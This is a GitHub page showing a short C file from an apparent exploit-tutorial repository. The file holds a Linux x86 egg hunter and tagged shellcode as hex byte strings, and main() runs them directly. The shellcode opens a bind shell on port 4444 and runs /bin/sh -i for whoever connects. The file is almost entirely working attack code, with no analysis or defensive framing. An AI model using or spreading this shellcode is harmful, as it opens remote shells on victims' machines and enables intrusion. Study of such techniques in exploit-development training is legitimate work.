forked from Adastra-thw/ExploitSerie
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathshellcodeEggHunter.c
22 lines (15 loc) · 926 Bytes
/
shellcodeEggHunter.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
char hunter[]= "\x66\x81\xc9\xff\x0f\x41\x6a\x43\x58\xcd\x80\x3c\xf2\x74\xf1\xb8\x90\x50\x90\x50\x89\xcf\xaf\x75\xec\xaf\x75\xe9\xff\xe7";
char shellcode[] = \
"\x90\x50\x90\x50"
"\x90\x50\x90\x50"
//Shellcode
"\x31\xc0\x6a\x66\x58\x6a\x01\x5b\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xd2\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\xb3\x02\x6a\x66\x58\xcd\x80\x31\xc0\xb0\x66\xb3\x04\x6a\x01\x56\x89\xe1\xcd\x80\x52\x56\x89\xe1\x43\x6a\x66\x58\xcd\x80\x89\xc3\x6a\x02\x59\x6a\x3f\x58\xcd\x80\xe2\xf9\x6a\x3f\x58\xcd\x80\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x66\x68\x2d\x69\x89\xe1\x52\x51\x53\x89\xe1\x6a\x0b\x58\xcd\x80";
int main(){
printf("Egghunter Length: %d\n", strlen(hunter));
printf("Shellcode Length: %d\n", strlen(shellcode));
(*(void (*)()) hunter)();
return 0;
}